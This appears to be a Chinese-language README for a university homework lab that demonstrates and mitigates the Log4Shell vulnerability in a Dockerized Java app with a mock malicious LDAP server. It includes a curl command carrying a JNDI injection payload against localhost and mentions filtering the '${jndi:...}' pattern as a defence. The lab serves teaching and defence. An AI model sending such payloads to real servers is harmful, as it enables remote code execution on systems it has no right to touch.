本项目演示了 Log4Shell 漏洞(CVE-2021-44228)的利用与缓解,使用了一个包含易受攻击的 Log4j 2.14.1 的 Dockerized Java Web 应用。该设置还包含一个模拟的恶意 LDAP 服务器,用于演示 JNDI 注入攻击路径。
在利用之后,系统通过升级 Log4j、验证输入以及应用 MITRE D3FEND 和 ATT&CK 建议进行了加固。
log4shell-homework9/
├── docker-compose.yml
├── Dockerfile
├── pom.xml
├── ldap_server.py
├── src/...
├── architecture_diagram.png
├── README.md
├── mitigation_report.pdf
docker build -t vulnerable-app .
docker-compose up
应用将在以下地址运行:
http://localhost:8080
python3 ldap_server.py
向应用发送如下请求:
curl http://localhost:8080?input=${jndi:ldap://localhost:8000/Exploit}
LDAP 服务器应收到该请求(这模拟了 JNDI 攻击)。
在演示攻击之后,通过以下方式对系统进行了安全加固:
${jndi:...} 模式)详见 mitigation_report.pdf:
如果视频未直接上传,可在报告中的链接处获取。
Serpil Rivas
SEAS 8405 – 网络安全架构
2025 年 5 月